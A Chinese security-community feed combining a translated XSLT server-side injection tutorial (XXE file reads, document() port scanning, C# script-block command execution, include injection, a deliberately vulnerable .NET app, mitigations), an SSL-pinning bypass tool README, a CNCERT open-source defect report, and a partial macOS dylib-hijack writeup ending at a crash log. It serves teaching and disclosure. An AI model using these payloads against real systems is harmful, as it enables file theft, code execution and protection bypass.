从上面的例子可以看出，XSLT漏洞已经存在了很长时间，尽管它们相对于其他类似的漏洞（如XML注入）不常见，但我们经常在安全性评估项目中能遇到它们。尽管如此，但该漏洞和利用技术并不为人所知。
本文中，我们将演示一系列XSLT攻击去展示以不安全的方式使用该技术的风险。*
接着会阐述如何执行远程代码、从远程系统窃取数据、网络扫描以及从受害者内网获取资源。
我们还可以提供一个存在漏洞的.Net应用程序，并提供有关如何降低这些攻击风险的建议。
## 什么是XSLT
XSL是一种将XML文档进行转换的语言，XSLT代表XSL转换，转换本身就是XML文档。
转换的结果可能是一个不同的XML文档或者其他类型的文档（比如HTML文档、CSV文件或者纯文本）。
XSLT常见用途是传输不同应用生成的文件数据和作为模版引擎。许多企业型应用程序广泛使用XSLT。比如，多租户开票应用程序可以允许客户端使用XSLT大量定制其发票。客户可以根据具体需要更改发票中显示的信息及其格式。
其他常见的应用：
* 报表功能
* 不同格式的数据导出
* 打印
* 邮件
在描述这类攻击前，让我们通过一个实际例子来看看转换是如何进行的。
首先是下面这样的XML文件，包含了水果名和相关描述的列表：
<?xml version="1.0" ?>
<fruits>
<fruit>
<name>Lemon</name>
<description>Yellow and sour</description>
</fruit>
<fruit>
<name>Watermelon</name>
<description>Round, green outside, red inside</description>
</fruit>
</fruits>
为了将XML文档转为纯文本，使用如下XSL转换：
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
使用上述转换规则对数据进行转换的结果是下面的纯文本文件：
Fruits:
- Lemon: Yellow and sour
- Watermelon: Round, green outside, red inside
## 利用XSLT服务端注入
在本节中，我们提供一种方法来测试应用程序的XSLT漏洞，并讲述漏洞的发现到利用。在这些示例中，我们专注于使用Microsoft System.Xml
XSLT实现的易受攻击的应用程序。然而类似的技术也适用于其他常见的库，如Libxslt，Saxon和Xalan。
#### 发现存在漏洞的切入点
第一步是识别应用存在漏洞的部分。
最简单的情况是应用允许上传任意的XSLT文件。
如果不是那种情况，易受攻击的应用也可能因为使用了不受信任的用户输入去动态生成XSL转换的XMl文档。
比如应用可能生成下面的XSLT文档，字符串“Your Company Name Here”源于不受信任的用户输入。
<?xml version=”1.0” encoding=”utf-8”?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Your Company Name Here
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
<xsl:include href="external_transform.xslt"/>
</xsl:stylesheet>
为了判断应用是否易受攻击，通过注入导致错误XML语法的字符（比如双引号、单引号、尖括号）是有效的方法。如果服务器返回了错误，那么应用则可能易受攻击。总的来说，这种识别技术和XML注入漏洞识别技术是相同的。
后面要描述的攻击中存在一部分只适用注入点位于文档的特定位置。但不要担心，我们会演示一种通过import和include函数来绕过这种限制。
为了尽可能简单化，接下来的例子中都是假定我们能够向应用提交任意的XSLT文档。如有特殊情况会另有说明。
#### system-property()函数和指纹
攻击者一旦确认了易受攻击点，那么对他来说识别操作系统指纹和确定正在使用的XSLT实现是很有用的。除此之外，对于攻击者来说了解应用程序使用的XSLT库对于尝试构造攻击载荷是非常有帮助的。
由于不同的库实现了不同的XSLT特性，一个库中可用的特性在其他库中不一定能用，而且大多时候被实现的专用扩展在不同的库中是不兼容的。
除了刚才所提到的，库的默认设置会因实现变化而广泛的变化。通常是老版本库默认启用了危险的特性，而新库要求开发人员在需要时明确启用它们。
我们可以通过system-property()函数来获取库发布者的名字，该函数是XSLT v1.0d的标准，所以所有的库都实现了这一点。
正确有效的参数是：
* xsl: vendor
* xsl: vendor-url
* xsl: version
下列转换可以用来判断库的发布者：
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:value-of select="system-property('xsl:vendor')"/>
</xsl:template>
</xsl:stylesheet>
在本例中，我们测试的是Microsoft .Net System.xml实现的应用，所以system-property()函数返回值是"Microsoft":
Microsoft
#### 数据窃取和使用XXE进行端口扫描
考虑到XSLT的文档格式是XML，那么常见的XML攻击（比如[ _Billion laughs_
attack](https://en.wikipedia.org/wiki/Billion_laughs_attack)、XML外部实体攻击）也能正常作用于XSLT，这就是很正常的一件事了。
_billion loughs_ attack是一种拒绝服务攻击，以耗尽服务器内存资源为目的。就本篇文章目的考虑，我们更倾向于XML外部实体攻击。
接下来的例子中，我们使用外部实体去获取“C:\secretfruit.txt”的内容。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:\secretfruit.txt">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Fruits &ext_file;:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
实体元素将文件内容放在了"ext_file"的引用中，然后通过"&ext_file"在主文档中打印显示出来。输出的结果揭示了文件的内容是"Golden
Apple"。
Fruits Golden Apple:
- Lemon: Yellow and sour
- Watermelon: Round, green outside, red inside
通过该技术可以获取存储在web服务器上的文件和内部系统上的web页面（攻击者无法直接访问），也可能是包含身份认证的配置文件或者包含其他敏感信息的文件。
除此之外，攻击者亦可通过UNC路径（\\\servername\share\file）和URLs（<http://servername/file）而不是文件路径来获取文件，甚至可以通过该技术获取到受害者网络其他系统上的文件。>
通过事先准备的清单上的IP地址和端口，可以根据应用程序响应来确定远程端口是打开还是关闭。比如，应用程序可能会显示不同的错误消息或在响应中引入时间延迟。
接下来的XSLT转换使用了URL：<http://172.16.132.1:25> 而不是上个例子中的本地文件格式。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "http://172.16.132.1:25">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Fruits &ext_file;:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
下方的截图显示了应用程序尝试链接刚才的URL引起的错误返回，这表明了25号端口是关闭的。
接着将URL替换为<http://172.16.132.1:1234> ，此时的错误信息截然不同，这暗示着1234端口是开放的。
攻击者可以使用这种技术对受害者的内部网络进行侦察扫描。
#### 数据窃取和使用document()进行端口扫描
document函数允许XSLT转换获取存储在除了主数据源以外的外部XML文档中的数据。
攻击者可以滥用document函数来读取远程系统的文件，通常是以转换结果的整个内容进行拷贝为手段。但这种攻击要求文件是格式工整的XML文档，但这并不总是个问题，因为大多数时候敏感信息总是存储在XML文件中。比如在一个asp.net
web应用中，web.config文件就是个很好的例子因为它包含了数据库认证信息。
让我们看下这种用法的例子。下面的转换可以用于窃取“C:\secrectfruit.xml”的内容：
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:copy-of select="document('C:\secretfruit.xml')"/>
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
转换的结果显示了上文提到的文件的内容:
<fruits>
<fruit>
<name>Golden Apple</name>
<description>Round, made of Gold</description>
</fruit>
</fruits>
Fruits:
- Lemon: Yellow and sour
- Watermelon: Round, green outside, red inside
与XXE攻击相似，document()函数可以用于获取远程系统的文档并且能通过UNC路径或如下所示URL来进行基本的网络扫描：
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:copy-of select="document('http://172.16.132.1:25')"/>
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
#### 嵌入脚本区块执行远程代码
嵌入的脚本区块是专有的XSLT扩展，可以直接在XSLT文档中包含代码。在微软的实现中，可以包含C#代码。当文档被解析，远程服务器会编译然后执行代码。
下面的XSLT文档是一个POC，作用是列出当前目录下的所有文件。
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">
<msxsl:script language = "C#" implements-prefix = "user">
<![CDATA[
public string execute(){
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "/c dir";
proc.Start();
proc.WaitForExit();
return proc.StandardOutput.ReadToEnd();
}
]]>
</msxsl:script>
<xsl:template match="/fruits">
--- BEGIN COMMAND OUTPUT --- <xsl:value-of select="user:execute()"/>
--- END COMMAND OUTPUT ---
</xsl:template>
</xsl:stylesheet>
首先我们在“xsl：stylesheet”标签中定义了两个新的XML前缀。第一个“xmlns：msxsl”用来启用Microsoft的专有扩展格式，第二个“xmlns：user”声明了“msxsl：script”脚本块实现的自定义用户扩展接口。
C#代码实现了execute()函数，用于执行"cmd.exe /c dir"命令并将结果以字符串形式返回。最后函数是在“xsl:value-of”标签中调用。
该转换的结果等同于命令"dir"执行的输出：
--- BEGIN COMMAND OUTPUT --- Volume in drive C has no label.
Volume Serial Number is EC7C-74AD
Directory of C:\Users\context\Documents\Visual Studio 2015\Projects\XsltConsole
Application\XsltConsoleApplication\bin\Debug
22/02/2017 15:19 <DIR> .
22/02/2017 15:19 <DIR> ..
22/02/2017 13:30 258 data.xml
22/02/2017 14:48 233 external_transform.xslt
22/02/2017 15:15 12 secretfruit.txt
31/01/2017 13:45 154 secretfruit.xml
22/02/2017 15:29 831 transform.xslt
22/02/2017 13:49 7,168 XsltConsoleApplication.exe
26/01/2017 15:42 189 XsltConsoleApplication.exe.config
22/02/2017 13:49 11,776 XsltConsoleApplication.pdb
8 File(s) 20,621 bytes
2 Dir(s) 9,983,107,072 bytes free
--- END COMMAND OUTPUT ---
#### import和incldue曲线救国
import和include标签可用于组合多个XSLT文档。如果我们碰到了这么一种情况（只能在XSLT文档的中间部分注入字符），那么直接使用XXE攻击或者include脚本都是不可能的，因为这两种手法都要求注入点在文档的顶部。
攻击者通过将XSLT文档和外部文档组合来打破这种限制，import和incldue函数可以达到这样的效果。在加载外部文件时，整个文档将被解析。如果攻击者可以控制这个过程，那么他们可以使用XXE和在外部文件中使用内嵌脚本这两种攻击方式。
外部文件可能是之前上传到服务器上的文件，只要文件内容是XML格式那扩展名是什么就没关系了。当然外部文件也可能是攻击者服务器上的一个文件，通过URL来引用。
当“xsl:include”在其他地方使用时，“xsl:import”标签只能作为“xsl:stylesheet”标签的第一个子标签。
接着让我们使用之前的XSLT文档吧，假设我们只能在字符串“Your Company Name Here” 中进行注入：
<?xml version=”1.0” encoding=”utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Your Company Name Here
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
<xsl:include href="external_transform.xslt"/>
</xsl:stylesheet>
在上面的转换中，我们想包含下面名为external_transform.xslt的外部文件。为了使事情简单化，外部转换只打印简要的信息；然而外部转换可以用之前提到过的任何攻击所代替（包括那些需要在文档顶部进行声明的攻击手法），比如内嵌的脚本区块在上述转换中不能直接注入。
<?xml version=”1.0” encoding=”utf-8”?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Hello from the external transformation
</xsl:template>
</xsl:stylesheet>
为了包含外部文档，我们需要注入如下标签：
<xsl:include href="external_transform.xslt"/>
然而，这存在一个问题：“xsl:include”
不能被“xsl:template”包含并且转换后的文件必须是格式良好的XML文档。所以我们的第一步是要闭合该标签“xsl:template”，接着添加“xsl:incldue”标签，这就能满足第一个要求了。为了获取到格式良好的XML文档，在“xsl:incldue”标签后我们需要再次打开“xsl:template”标签。
生成的攻击载荷如下：
</xsl:template><xsl:include href="external_transform.xslt"/><xsl:template name="a">
在注入后，生成的XSLT文档看起来是这样的：
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
</xsl:template><xsl:include href="external_transform.xslt"/><xsl:template name="a">
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
<xsl:include href="external_transform.xslt"/>
</xsl:stylesheet>
转换后将生成如下输出：
Hello from the external transformation
和XXE、document()函数一样，import和include标签可以用来数据窃取和基本的端口扫描。
## XSLT----导致app易受攻击
在识别出XSLT漏洞后，编写能工作的exp是比较棘手的。
这有一部分是因为xml严格的语法要求，另一部分是因为应用程序的实现细节。
测试
所以我写了一个小型易受攻击的.Net控制台应用程序，可用于测试前面所提到的攻击。该应用是由.Net's System.Xml
实现的。带有注释的完整代码报告如下，可以通过Microsoft Visual
Studio来编译。代码和已经编译好的应用可以在这里[下载](https://github.com/ctxis/VulnerableXsltConsoleApplication)。
分割线
using System;
using System.Xml;
using System.Xml.Xsl;
namespace XsltConsoleApplication
{
class Program
{
/*
This code contains serious vulnerabilities and is provided for training purposes only!
DO NOT USE ANYWHERE FOR ANYTHING ELSE!!!
*/
static void Main(string[] args)
{
Console.WriteLine("\n#####################################################################");
Console.WriteLine("# #");
Console.WriteLine("# This is a Vulnerable-by-Design application to test XSLT Injection #");
Console.WriteLine("# #");
Console.WriteLine("#####################################################################\n");
Console.WriteLine("The application expects (in the current working directory):");
Console.WriteLine(" - an XML file (data.xml) and\n - an XSLT style sheet (transform.xslt)\n");
Console.WriteLine("===================================================================");
String transformationXsltFileURI = "transform.xslt";
String dataXMLFileURI = "data.xml";
// Enable DTD processing to load external XML entities for both the XML and XSLT file
XmlReaderSettings vulnerableXmlReaderSettings = new XmlReaderSettings();
vulnerableXmlReaderSettings.DtdProcessing = DtdProcessing.Parse;
vulnerableXmlReaderSettings.XmlResolver = new XmlUrlResolver();
XmlReader vulnerableXsltReader = XmlReader.Create(transformationXsltFileURI, vulnerableXmlReaderSettings);
XmlReader vulnerableXmlReader = XmlReader.Create(dataXMLFileURI, vulnerableXmlReaderSettings);
XsltSettings vulnerableSettings = new XsltSettings();
// Embedded script blocks and the document() function are NOT enabled by default
vulnerableSettings.EnableDocumentFunction = true;
vulnerableSettings.EnableScript = true;
// A vulnerable settings class can also be created with:
// vulnerableSettings = XsltSettings.TrustedXslt;
XslCompiledTransform vulnerableTransformation = new XslCompiledTransform();
// XmlUrlResolver is the default resolver for XML and XSLT and supports the file: and http: protocols
XmlUrlResolver vulnerableResolver = new XmlUrlResolver();
vulnerableTransformation.Load(vulnerableXsltReader, vulnerableSettings, vulnerableResolver);
XmlWriter output = new XmlTextWriter(Console.Out);
// Run the transformation
vulnerableTransformation.Transform(vulnerableXmlReader, output);
}
}
}
该应用需要data.xml和transformation.xslt文件在当前工作目录下。
## 推荐
如果你的应用使用了XSLT，通过下列引导你可以降低风险：
* 尽可能避免使用用户提供的XSLT文档
* 不要使用不受信任的输入去生成XSLT文档，比如拼接字符串。如果需要非静态值，则应将其包含在XML数据文件中，并且仅由XSLT文档引用
* 明确禁止使用XSLT库实现的危险功能。查阅库的文档如何禁用XML外部实体、document()函数、import和include标签。确保嵌入脚本扩展是禁用的，同时其他允许读或写外部文件的专用扩展也被禁用了。
Emanuel Duss和Roland
Bischofberger写了一份文档，讲述了流行的XSLT库实现的功能和他们的默认配置。文档的34页包含了一张便捷比较表格，可以作为入手点。[点我下载PDF](https://www.owasp.org/images/a/ae/OWASP_Switzerland_Meeting_2015-06-17_XSLT_SSRF_ENG.pdf.)
## 总结和结论
XSLT是非常有用的工具，许多应用都用了，但它的问题并不那么为人所知。差的代码实践会引入漏洞，这可能会导致应用控制权的完全丧失和数据被窃取。本文致力于提高大家的意识，通过展示一些可能的攻击手法和引导建议来避免常见的实现上的问题。
[ 原文地址](https://www.contextis.com/blog/xslt-server-side-injection-attacks) | 社区文章 |
#### 地址：<https://github.com/WooyunDota/DroidSSLUnpinning>
**经常有朋友问我,手机安装代理证书后这个app的https流量依然抓不到包该如何操作,这样情况基本是遇到证书锁定了,分享下我的操作.**
* [x] 目录JustTrustMePlus加了些JusTrustMe没覆盖到的锁定场景.(基于xposed模块[justTrustMe](https://github.com/Fuzion24/JustTrustMe)稍作修改)
* 使用方法1 : 安装激活xposed后,安装目录下提供的apk,勾选jusTrustMe模块激活重启即可.
* [ ] 目录ObjectionUnpinningPlus加了些ObjectionUnpinning没覆盖到的锁定场景.(基于Frida模块[objection hook pinning](https://github.com/sensepost/objection)稍作修改)
* 使用方法1 attach : frida -U com.example.mennomorsink.webviewtest2 --no-pause -l hooks.js
* 使用方法2 spawn : python application.py com.example.mennomorsink.webviewtest2
* 更为详细使用方法:ToBeDone参考我的文章 [Frida.Android.Practice](https://github.com/WooyunDota/DroidDrops/2018/) 实战ssl pinning bypass 章节 .
* [ ] 如遇双向锁定即客户端锁定后服务端也对客户端证书验证checkClientTrusted,还需将证书文件导入代理软件,可能会有密码但必然会存在客户端中.
* [x] 若有没有覆盖到的场景可以联系我微博<https://weibo.com/luoding1991>. | 社区文章 |
# 【安全报告】关于国外知名互联网公司开源软件代码安全缺陷的分析报告
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**说明**
****
360代码卫士与国家互联网应急中心CNCERT合作，对国外知名互联网公司开源软件代码的安全缺陷情况进行了分析，以下为报告全文。本文转自国家互联网应急中心CNCERT。
**前言**
****
随着软件技术飞速发展，开源软件已在全球范围内得到了广泛应用。数据显示，从2012年起，已有超过80%的商业软件使用开源软件。开源软件的代码一旦存在安全问题，必将造成广泛、严重的影响。为了解开源软件的安全情况，CNCERT持续对广泛使用的知名开源软件进行源代码安全缺陷分析，并发布季度安全缺陷分析报告。
本期报告聚焦国际知名互联网公司的软件安全开发现状，通过检测公司旗下多款开源软件产品的安全缺陷，评估各公司的代码安全控制情况。针对国际知名互联网公司，选取关注度高的开源项目，结合缺陷扫描工具和人工审计的结果，对各公司的项目安全性进行评比。
**1 被测开源软件**
****
参考Github机构排名，本期报告聚焦国际知名互联网公司Google、Facebook、Twitter，综合考虑用户数量、受关注程度等情况，选取了这些公司旗下的12款具有代表性的开源项目。本次被测的开源软件项目的概况如下：
表1 被测开源软件项目概览
**2 测试内容**
****
**安全缺陷种类**
本次测试涵盖各类常见安全缺陷。根据缺陷形成的原因、被利用的可能性、造成的危害程度和解决的难度等因素进行综合考虑，可以将常见的安全缺陷分为八类：
**1）输入验证与表示（Input Validation and Representation）**
输入验证与表示问题通常是由特殊字符、编码和数字表示所引起的，这类问题的发生是由于对输入的信任所造成的。这些问题包括：缓冲区溢出、跨站脚本、SQL注入、命令注入等。
**2) API误用（API Abuse)**
API是调用者与被调用者之间的一个约定，大多数的API误用是由于调用者没有理解约定的目的所造成的。当使用API不当时，也会引发安全问题。
**3) 安全特性（Security Features）**
该类别主要包含认证、访问控制、机密性、密码使用和特权管理等方面的缺陷。
**4) 时间和状态（Time and State）**
分布式计算与时间和状态有关。线程和进程之间的交互及执行任务的时间顺序往往由共享的状态决定，如信号量、变量、文件系统等。与分布式计算相关的缺陷包括竞态条件、阻塞误用等。
**5) 错误和异常处理缺陷（Errors）**
这类缺陷与错误和异常处理有关，最常见的一种缺陷是没有恰当的处理错误（或者没有处理错误）从而导致程序运行意外终止，另一种缺陷是产生的错误给潜在的攻击者提供了过多信息。
**6) 代码质量问题（Code Quality）**
低劣的代码质量会导致不可预测的行为。对于攻击者而言，低劣的代码使他们可以以意想不到的方式威胁系统。常见的该类别缺陷包括死代码、空指针解引用、资源泄漏等。
**7) 封装和隐藏缺陷（Encapsulation）**
合理的封装意味着区分校验过和未经检验的数据，区分不同用户的数据，或区分用户能看到和不能看到的数据等。常见的缺陷包括隐藏域、信息泄漏、跨站请求伪造等。
**8) 代码运行环境的缺陷（Environment）**
该类缺陷是源代码之外的问题，例如运行环境配置问题、敏感信息管理问题等，它们对产品的安全仍然是至关重要的。
前七类缺陷与源代码中的安全缺陷相关，它们可以成为恶意攻击的目标，一旦被利用会造成信息泄露、权限提升、命令执行等严重后果。最后一类缺陷描述实际代码之外的安全问题，它们容易造成软件的运行异常、数据丢失等严重问题。
**安全缺陷级别**
我们将源代码的安全问题分为三种级别：高危（High）、中等（Medium）和低（Low）。衡量级别的标准包括两个维度，置信程度（confidence）和严重程度（severity）。置信程度是指发现的问题是否准确的可能性，比如将每个strcpy函数调用都标记成缓冲区溢出缺陷的可信程度很低。严重程度是指假设测试技术真实可信的情况下检出问题的严重性，比如缓冲区溢出通常是比变量未初始化更严重的安全问题。将这两个因素综合起来可以准确的为安全问题划分级别，如下图所示：
图1 缺陷级别与严重程度、置信程度的关系
**3 开源软件项目的安全缺陷情况**
本报告仅针对检出的高危、中危缺陷进行统计和分析。本部分首先展示从被测项目中检出安全缺陷的数量，并由此对三大互联网公司的产品安全性进行比较。然后进一步讨论各公司被测项目中安全缺陷的分布情况，了解各公司出现较多的缺陷类型。
**安全缺陷情况概况**
本部分展示被测项目查出缺陷的数量，由此对被测项目的安全性进行大致的评估。图2展示了各个项目高危、中危缺陷的数量，并按照高危缺陷数量对项目进行了排序，图中用蓝色折线图展示了每千行包含缺陷数。
图2 开源软件项目缺陷情况
在本次被测软件中，来自Google的Protobuf（协议缓冲区）、来自Twitter的Fatcache（大数据缓存）不存在高危缺陷，同时中危缺陷的数量也相对较少。
来自Twitter的映射框架Libcrunch的高危缺陷数量居多，在15个高危缺陷中，存在9个路径遍历问题，5个空指针解引用缺陷和1个硬编码密码缺陷。
中高危缺陷总数最多的是来自Facebook的Rocksdb（持久键值存储库），包含94个中危缺陷，其中绝大多数也为代码质量类问题。例如，包含55个“类的构造函数未对成员进行初始化”缺陷，32个“位运算的两个操作数比特位数不同”缺陷。这些缺陷可能会导致程序发生不可预知的行为，甚至造成安全隐患，应当尽量避免。
由于项目的绝对缺陷数量可能与项目大小相关，因此本报告计算了每千行缺陷数，用该数据反映缺陷在项目中的分布密度。根据该数据，代码安全性最好的项目依次是来自Google的Protobuf（0.00）、Oauth-java-client（0.06）、来自Facebook的Buck（0.07），这些软件的每一千行代码的平均安全缺陷数量小于0.1个。而缺陷分布密度相对较高的项目是来自Twitter的Libcrunch（5.43）、来自Google的UlforETW（1.41）和Google-java-format（1.09），这些软件的每一千行代码平均包含 1个以上的安全缺陷。
**各公司产品安全性对比**
本部分对不同互联网公司的产品安全性概况进行对比，图3展示了每个公司在本次测试中检测出的高危、中危缺陷总数，以及以公司为单位统计的每千行缺陷数 。
图3 互联网公司产品安全性对比图
由于每个公司的项目被检测出缺陷的绝对数量与项目数量、项目大小相关，不能直接反映公司的产品安全性，因此本部分重点关注每千行缺陷数。根据该数据，Google的总体产品安全性较高，平均每一千行代码仅包含0.07个安全缺陷。Twitter的总体产品安全性在3个公司中较差，平均每千行缺陷数量是Google本次抽样产品的近6倍。
**各公司高危缺陷分布情况**
本部分展示各公司高危缺陷的分布情况，了解各公司出现较多的高危缺陷类型。如图4所示，各公司的高危缺陷分布情况不尽相同。其中，普遍出现较多的高危缺陷是被污染的缓冲区
和空指针解引用。表2和表3分别列出了这两种缺陷在各公司项目中的分布情况。
图4 各公司高危缺陷分布情况
表2 高危被污染的缓冲区分布情况
表3 高危空指针解引用分布情况
**各公司中危缺陷分布情况**
本部分继续展示各公司中危缺陷的分布情况，了解各公司出现较多的中危缺陷类型。如图5、图6、图7所示，各公司的中危缺陷分布情况不尽相同。由于中危缺陷的数量较多，为了方便展示，将仅出现1次的缺陷类型统一归入“其他”。
图5 Google中危缺陷分布情况
图6 Facebook中危缺陷分布情况
图7 Twitter中危缺陷分布情况
正如前文所述，3个公司软件的中危缺陷绝大多数都为代码质量类问题，而普遍出现较多的两类缺陷分别是“变量或参数等使用前未进行初始化”和“资源未及时释放”，也均属于代码质量类问题，这些缺陷虽然不易直接被攻击者利用，但确实会造成程序运行不稳定、性能下降甚至崩溃等问题。表4和表5分别列出了这两种缺陷在各公司项目中的分布情况。
表4 中危未初始化问题分布情况
表5 中危资源未释放缺陷分布情况
**4 关于本报告的说明**
1、本报告仅从代码角度进行缺陷分析。本报告中统计的缺陷是指由于代码编写不规范导致的有可能被攻击者利用的安全隐患。在实际系统中，由于软件实际部署环境、安全设备等的限制，部分缺陷可能无法通过渗透测试得到验证。
2、本报告中的缺陷仅适用于表1中列出的特定软件版本。当软件版本有任何更新、修改和优化时，本报告不再适用。
3、本报告由360代码卫士团队提供部分技术支持。 | 社区文章 |
# 通过沙箱取消程序对已存在 DLL 的访问权限进行劫持
|
##### 译文声明
本文是翻译文章，文章原作者 0xCC，文章来源：medium.com
原文地址：<https://medium.com/0xcc/bypass-macos-rootless-by-sandboxing-5e24cca744be>
译文仅供参考，具体内容表达以及含义原文为准。
这个bug已经在Mojave Beta中修复了，但在最新的High Sierra
(10.13.5)仍然存在。一个授权的二进制文件试图加载一个由环境变量控制的不安全的外部库，这是一个逻辑错误。为了利用它，我们需要滥用沙箱，有趣的是，有时可以将防范方法转化为利用方法。
CoreSymbolication(/System/Library/PrivateFrameworks/CoreSymbolication.framework)有一些用于符号化(symbolication)的私有api。当启用swift应用程序符号时，它尝试按以下顺序加载外部库：
* /Library/PrivateFrameworks/Swift/libswiftDemangle.dylib
* /Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib
* /usr/lib/libswiftDemangle.dylib
* ${xcselect_get_developer_dir_path()}/Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib
[](https://p1.ssl.qhimg.com/t018a209363336d2519.jpg "加载外部库")
如果存在，函数xcselect_get_developer_dir_path将返回环境变量DEVELOPER_DIR。
[](https://p0.ssl.qhimg.com/t015a086201a1f7f926.png)
实际上，libswiftDemangle.dylib是存在的。
苹果已经内置了com.apple.SamplingTools：
/usr/bin/{filtercalltree,heap32,stringdups32,leaks32,heap,atos,vmmap32,sample,malloc_history32,symbols,vmmap,leaks,stringdups,malloc_history}
且取得了权限：
➜ ~ jtool --ent `which symbols`
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.private.kernel.get-kext-info</key>
<true/>
<key>com.apple.system-task-ports</key>
<true/>
</dict>
</plist>
有了这个权限，SamplingTools就可以在即使是没有根权限的情况下使用Task_for_PID附加到SIP受保护的进程。
$ vmmap Finder | head -n 8
Process: Finder [42164]
Path: /System/Library/CoreServices/Finder.app/Contents/MacOS/Finder
Load Address: 0x10515f000
Identifier: com.apple.finder
Version: 10.13.5 (10.13.5)
Build Info: Finder_FE-1054005004000000~3
Code Type: X86–64
Parent Process: ??? [1]
即使有根权限，LLDB也会失败：
$ sudo lldb -n Finder
Password:
(lldb) process attach --name "Finder"
error: attach failed: cannot attach to process due to System Integrity Protection
因此，这似乎是一种“meta”权限。有了它，你就可以直接注入到其他已获授权的进程，并获得任意的权利。
让我们先启动一个用swift编译的应用程序，然后运行 **symbols [pid] -printDemangling**
，它将调用CoreSymbolication!demangle，具有加载不安全代码的潜在风险。
但有两个问题。首先，由于/System/Library/PrivateFrameworks/Swift/libswiftDemangle.dylib的存在，似乎无法到达最后一个分支。
实际上我们可以用沙箱堵住他们。是的，用安全机制触发一些不安全的东西。
(version 1)
(allow default)
(deny file-read*
(literal "/System/Library/PrivateFrameworks/Swift/libswiftDemangle.dylib")
(literal "/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib")
(literal "/usr/lib/libswiftDemangle.dylib")
)
然后，用 **symbols [pid] -printDemangling** 生成一个子进程来触发dylib劫持。
现在我们有第二个问题。它崩溃了。
System Integrity Protection: enabled
Crashed Thread: 0 Dispatch queue: com.apple.main-thread
Exception Type: EXC_BAD_ACCESS (Code Signature Invalid)
Exception Codes: 0x0000000000000032, 0x000000010d745000
Exception Note: EXC_CORPSE_NOTIFY
Termination Reason: Namespace CODESIGNING, Code 0x2
kernel messages:
External Modification Warnings:
Process used task_for_pid().
VM Regions Near 0x10d745000:
MALLOC_LARGE 000000010d70a000-000000010d745000 [ 236K] rw-/rwx SM=PRV
--> mapped file 000000010d745000-000000010d746000 [ 4K] r-x/r-x SM=PRV Object_id=2929ab85
mapped file 000000010d748000-000000010d762000 [ 104K] r--/r-- SM=ALI Object_id=2af85085
Application Specific Information:
dyld: in dlopen()
